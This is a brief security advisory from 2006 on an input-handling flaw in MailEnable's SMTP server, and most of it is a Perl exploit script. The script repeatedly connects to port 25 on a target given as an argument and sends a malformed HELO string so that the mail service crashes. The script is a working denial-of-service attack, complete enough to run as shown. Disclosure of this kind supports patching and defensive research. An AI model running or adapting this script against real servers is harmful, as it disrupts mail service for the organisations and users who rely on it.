Summary
"MailEnable's mail server software provides a powerful, scalable hosted messaging platform for Microsoft Windows."
Improper handling of user input allows attackers to DoS MailEnable.
Credit:
The information has been provided by db0.
The original article can be found at: http://www.divisionbyzero.be/?p=174
Details
Exploit:
#!/usr/bin/perl -w
#
# Mailenable SMTP DoS exploit
# 24/06/2006
#
# Filbert at divisionbyzero dot be
#
use Net::Telnet;
$string = "\0x99";
for ($count = 1; $count <= 10; $count++)
{
$telnet = new Net::Telnet ( Timeout=>60, Errmode=>'return',Port=>'25');
$telnet->open($ARGV[0]);use Net::Telnet;
$telnet->print("helo ", $string, "\n");
}
#EoF